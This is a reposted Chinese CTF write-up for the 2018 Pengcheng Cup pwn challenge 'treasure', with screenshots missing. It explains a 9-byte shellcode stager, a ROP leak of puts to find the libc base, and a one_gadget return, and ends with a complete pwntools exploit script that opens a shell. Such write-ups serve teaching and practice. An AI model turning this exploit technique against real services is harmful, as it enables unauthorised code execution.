首页 > 其他 > 详细

鹏城杯_2018_treasure

时间:2020-05-16 17:10:04      阅读:54      评论:0      收藏:0      [点我收藏+]

鹏城杯_2018_treasure

首先检查一下保护:

技术分享图片

IDA分析

技术分享图片

我们先来看看settreasure()函数

技术分享图片

申请了两个内存空间,并往sea中复制了shellcode

看看这个shellcode,不知道干嘛的

技术分享图片

我们再来看看第二个函数

技术分享图片

读入一个长度小于等于9的shellcode,和我之前做的铁人三项(第五赛区)_2018_seven很像。

构造sys_read注入我们的shellcode

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)

#sys_read注入以下的ROP
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)#treasure()

之后再来一次ret2one_gadget ,感觉跟第一个函数没啥关系。

from pwn import *
context.log_level = ‘debug‘
context(os=‘linux‘,arch=‘amd64‘)
p = process(‘./2018_treasure‘)
elf = ELF(‘./2018_treasure‘)
libc = ELF(‘/lib/x86_64-linux-gnu/libc-2.27.so‘)
#gdb.attach(p,‘b *0x00400AB6‘)

p.sendlineafter(‘:‘,‘A‘)

shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)


pop_rdi_ret = 0x0000000000400b83

pause()
rop = p64(pop_rdi_ret) + p64(elf.got[‘puts‘]) + p64(elf.plt[‘puts‘])+ p64(0x4009BA)
p.send(rop)
puts_addr = u64(p.recv(6).ljust(8,‘\x00‘))
libc_base = puts_addr - libc.symbols[‘puts‘]
print ‘libc_base: ‘+hex(libc_base)
one = [0x4f322,0x4f2c5,0x10a38c]
one_gadget = libc_base +0x4f322


ret = 0x00000000004006a9

p.sendlineafter(‘:‘,‘A‘)
shellcode = asm(‘push rsp;pop rsi;mov rdx,r12;syscall;ret‘)
p.sendlineafter(‘start!!!!‘,shellcode)
pause()
p.send(p64(ret)+p64(one_gadget))


p.interactive()

鹏城杯_2018_treasure

原文:https://www.cnblogs.com/Rookle/p/12900913.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!